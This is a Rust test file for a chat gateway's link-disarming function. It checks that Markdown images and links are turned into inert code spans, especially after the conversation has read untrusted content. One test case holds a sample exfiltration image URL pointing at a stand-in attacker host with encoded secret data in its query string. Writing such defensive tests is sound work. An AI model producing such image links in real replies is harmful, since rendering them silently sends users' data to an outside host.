boxmaker/crates/gatewayd/tests/links.rs

//! `links::disarm` on each form of image and link, clean and untrusted, and on code that must be
//! left as it is (M5b spec, section 9; the plan's review focus 4). Do not edit.

use gatewayd::links::{NOTICE, disarm};

/// (case, input, clean reply, untrusted reply, whether the untrusted reply had a link disarmed).
type Case = (&'static str, &'static str, &'static str, &'static str, bool);

const IMAGES: &[Case] = &[
    (
        "inline image",
        "An image ![alt](https://e.example/x.png) here.",
        "An image `![alt](https://e.example/x.png)` here.",
        "An image `![alt](https://e.example/x.png)` here.",
        false,
    ),
    (
        "image with a size",
        "![alt](https://e.example/x.png =50x76)",
        "`![alt](https://e.example/x.png =50x76)`",
        "`![alt](https://e.example/x.png =50x76)`",
        false,
    ),
    (
        "image with a width and a title",
        "![alt](https://e.example/x.png =50 \"Hover\")",
        "`![alt](https://e.example/x.png =50 \"Hover\")`",
        "`![alt](https://e.example/x.png =50 \"Hover\")`",
        false,
    ),
    (
        "reference image and its definition",
        "![alt][logo]\n\n[logo]: https://e.example/l.png",
        "`![alt][logo]`\n\n[logo]: https://e.example/l.png",
        "`![alt][logo]`\n\n`[logo]: https://e.example/l.png`",
        true,
    ),
    (
        "collapsed and shortcut reference images",
        "![logo][] and ![logo]",
        "`![logo][]` and `![logo]`",
        "`![logo][]` and `![logo]`",
        false,
    ),
    (
        "reference image with a space before its label",
        "![alt] [logo] end",
        "`![alt] [logo]` end",
        "`![alt] [logo]` end",
        false,
    ),
    (
        "data in an image URL (T37)",
        "Done. ![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)",
        "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
        "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
        false,
    ),
    (
        "image glued to text, non-ASCII too",
        "A![x](https://e.example/a)B 字![图](https://e.example/b)字",
        "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
        "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
        false,
    ),
    (
        "image alt over two lines",
        "![a\nb](https://e.example/x)",
        "`![a`\n`b](https://e.example/x)`",
        "`![a`\n`b](https://e.example/x)`",
        false,
    ),
    (
        "image alt with a pipe",
        "![a|b](https://e.example/x)",
        "`![a`| `b](https://e.example/x)`",
        "`![a`| `b](https://e.example/x)`",
        false,
    ),
    (
        "image inside a link",
        "[![img](https://a.example/i.png)](https://b.example)",
        "`[![img](https://a.example/i.png)](https://b.example)`",
        "`[![img](https://a.example/i.png)](https://b.example)`",
        true,
    ),
    (
        "image inside brackets that are no link",
        "[![a](https://e.example/a)]",
        "\\[ `![a](https://e.example/a)`]",
        "\\[ `![a](https://e.example/a)`]",
        false,
    ),
    (
        "no bracket closes the alt",
        "![alt(https://e.example/x.png)",
        "`![`alt(https://e.example/x.png)",
        "`![`alt( `https://e.example/x.png`)",
        true,
    ),
    (
        "escaped exclamation mark",
        "\\![x](https://e.example/a)",
        "\\![x](https://e.example/a)",
        "\\! `[x](https://e.example/a)`",
        true,
    ),
    (
        "escaped backslash, then an image",
        "\\\\![x](https://e.example/a)",
        "\\\\ `![x](https://e.example/a)`",
        "\\\\ `![x](https://e.example/a)`",
        false,
    ),
];

const LINKS: &[Case] = &[
    (
        "plain URL, its full stop left out",
        "See https://example.com/a.",
        "See https://example.com/a.",
        "See `https://example.com/a`.",
        true,
    ),
    (
        "autolink",
        "<https://example.com/a>",
        "<https://example.com/a>",
        "`<https://example.com/a>`",
        true,
    ),
    (
        "email autolink",
        "Write to <owner@example.com>.",
        "Write to <owner@example.com>.",
        "Write to `<owner@example.com>`.",
        true,
    ),
    (
        "Markdown link with a title",
        "[the docs](https://docs.example/p \"Title\")",
        "[the docs](https://docs.example/p \"Title\")",
        "`[the docs](https://docs.example/p \"Title\")`",
        true,
    ),
    (
        "reference link and its definition",
        "[docs][d]\n\n[d]: https://docs.example/p",
        "[docs][d]\n\n[d]: https://docs.example/p",
        "`[docs][d]`\n\n`[d]: https://docs.example/p`",
        true,
    ),
    (
        "relative link",
        "[home](/channels/town)",
        "[home](/channels/town)",
        "`[home](/channels/town)`",
        true,
    ),
    (
        "www without a scheme",
        "at www.example.com today",
        "at www.example.com today",
        "at `www.example.com` today",
        true,
    ),
    (
        "domain and path without a scheme",
        "example.org/path and example.org",
        "example.org/path and example.org",
        "`example.org/path` and example.org",
        true,
    ),
    (
        "schemes without slashes",
        "mailto:owner@example.com or tel:5551234",
        "mailto:owner@example.com or tel:5551234",
        "`mailto:owner@example.com` or `tel:5551234`",
        true,
    ),
    (
        "prose with colons",
        "Note: a ratio of 3:2 and key:value",
        "Note: a ratio of 3:2 and key:value",
        "Note: a ratio of 3:2 and `key:value`",
        true,
    ),
    (
        "URL with parentheses, inside parentheses",
        "(see https://en.example/wiki/Rust_(language))",
        "(see https://en.example/wiki/Rust_(language))",
        "(see `https://en.example/wiki/Rust_(language)`)",
        true,
    ),
    (
        "URL up to a backtick",
        "https://x.example/a`b",
        "https://x.example/a`b",
        "``https://x.example/a`` `b",
        true,
    ),
    (
        "non-ASCII URL and text",
        "Привет, мир: https://пример.рф/путь и всё.",
        "Привет, мир: https://пример.рф/путь и всё.",
        "Привет, мир: `https://пример.рф/путь` и всё.",
        true,
    ),
    (
        "two links on a line",
        "[a](https://a.example) or https://b.example/x?y=1",
        "[a](https://a.example) or https://b.example/x?y=1",
        "`[a](https://a.example)` or `https://b.example/x?y=1`",
        true,
    ),
    (
        "angle brackets around a space are no autolink",
        "<a b:c>",
        "<a b:c>",
        "<a `b:c`>",
        true,
    ),
    (
        "a scheme inside a word is no URL",
        "1http://x.example/p",
        "1http://x.example/p",
        "1http://x.example/p",
        false,
    ),
    (
        "a last part of five letters is no domain",
        "x.abcde/p and x.abcd/p",
        "x.abcde/p and x.abcd/p",
        "x.abcde/p and `x.abcd/p`",
        true,
    ),
    (
        "www with digits",
        "www2.example.com",
        "www2.example.com",
        "`www2.example.com`",
        true,
    ),
    (
        "brackets and angle brackets that are no link",
        "[not a link] and <foo> and a < b",
        "[not a link] and <foo> and a < b",
        "[not a link] and <foo> and a < b",
        false,
    ),
    (
        "definition padded with spaces, ending in a backtick",
        "  [x]: https://e.example/`",
        "  [x]: https://e.example/`",
        "``  [x]: https://e.example/``\\`",
        true,
    ),
    (
        "a definition needs a label",
        "[]: https://e.example/x",
        "[]: https://e.example/x",
        "[]: `https://e.example/x`",
        true,
    ),
    (
        "a definition only at the start of a line",
        "text [x]: https://e.example",
        "text [x]: https://e.example",
        "text [x]: `https://e.example`",
        true,
    ),
];

const CODE: &[Case] = &[
    (
        "code spans",
        "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
        "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
        "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
        false,
    ),
    (
        "fenced block",
        "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
        "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
        "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
        false,
    ),
    (
        "tilde fence, and a longer fence holding a shorter one",
        "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
        "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
        "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
        false,
    ),
    (
        "span with a backtick inside",
        "``a ` https://x.example`` and ``![i](https://e.example/a)``",
        "``a ` https://x.example`` and ``![i](https://e.example/a)``",
        "``a ` https://x.example`` and ``![i](https://e.example/a)``",
        false,
    ),
    (
        "link text in code",
        "[`code`](https://d.example)",
        "[`code`](https://d.example)",
        "``[``\\` ``code``\\` ``](https://d.example)``",
        true,
    ),
    (
        "code in code, and a link beside it",
        "`https://a.example` https://b.example",
        "`https://a.example` https://b.example",
        "`https://a.example` ``https://b.example``",
        true,
    ),
];

const TICKS: &[Case] = &[
    (
        "runs longer than any in the reply",
        "``x`` then https://y.example and ![i](https://e.example/a)",
        "``x`` then https://y.example and ```![i](https://e.example/a)```",
        "``x`` then ```https://y.example``` and ```![i](https://e.example/a)```",
        true,
    ),
    (
        "a fence counts",
        "```\ncode\n```\nhttps://y.example",
        "```\ncode\n```\nhttps://y.example",
        "```\ncode\n```\n````https://y.example````",
        true,
    ),
    (
        "backticks inside the image go between spans, escaped",
        "![a`b](https://e.example/`q`)",
        "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
        "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
        false,
    ),
    (
        "a backtick right after the image",
        "x ![a](https://e.example/a)`y`",
        "x ``![a](https://e.example/a)`` `y`",
        "x ``![a](https://e.example/a)`` `y`",
        false,
    ),
    (
        "a lone backtick right before the image",
        "`![a](https://e.example/a)",
        "` ``![a](https://e.example/a)``",
        "` ``![a](https://e.example/a)``",
        false,
    ),
];

fn check(table: &[Case]) {
    for &(case, input, clean, untrusted, links) in table {
        let got = disarm(input, false);
        assert_eq!(got.text, clean, "{case}: clean");
        assert!(!got.links, "{case}: a clean reply never has links disarmed");
        let got = disarm(input, true);
        assert_eq!(got.text, untrusted, "{case}: untrusted");
        assert_eq!(got.links, links, "{case}: links");
    }
}

#[test]
fn images_are_code_in_every_reply() {
    check(IMAGES);
}

#[test]
fn links_are_code_only_when_untrusted() {
    check(LINKS);
}

#[test]
fn code_is_left_as_it_is() {
    check(CODE);
}

#[test]
fn new_spans_use_a_longer_run_and_never_touch_a_backtick() {
    check(TICKS);
}

#[test]
fn disarming_twice_changes_nothing() {
    for table in [IMAGES, LINKS, CODE, TICKS] {
        for &(case, input, ..) in table {
            for untrusted in [false, true] {
                let once = disarm(input, untrusted).text;
                let twice = disarm(&once, untrusted);
                assert_eq!(twice.text, once, "{case}: untrusted {untrusted}");
                assert!(
                    !twice.links,
                    "{case}: untrusted {untrusted}: nothing left to disarm"
                );
            }
        }
    }
}

#[test]
fn text_without_images_or_links_is_unchanged() {
    for text in [
        "",
        "Plain words.",
        "Ünïcödé, 日本語, emoji 🦀, and a tab\there.",
        "Lines\n\nwith\r\nbreaks\rof\u{2424}every kind\n",
        "A list:\n- one\n- two\n\n> a quote\n\n# A heading",
        "Emphasis: *a*, **b**, _c_, ~~d~~ and a table:\n| a | b |\n|---|---|\n| 1 | 2 |",
        "Paths: crates/gatewayd/src/links.rs, ../x.txt, C:\\temp and std::io",
    ] {
        for untrusted in [false, true] {
            let got = disarm(text, untrusted);
            assert_eq!(got.text, text, "untrusted {untrusted}");
            assert!(!got.links);
        }
    }
}

#[test]
fn the_notice_is_one_line() {
    assert_eq!(
        NOTICE,
        "Links in this reply are shown as code because this conversation has read untrusted content."
    );
    assert!(!NOTICE.contains('\n'));
}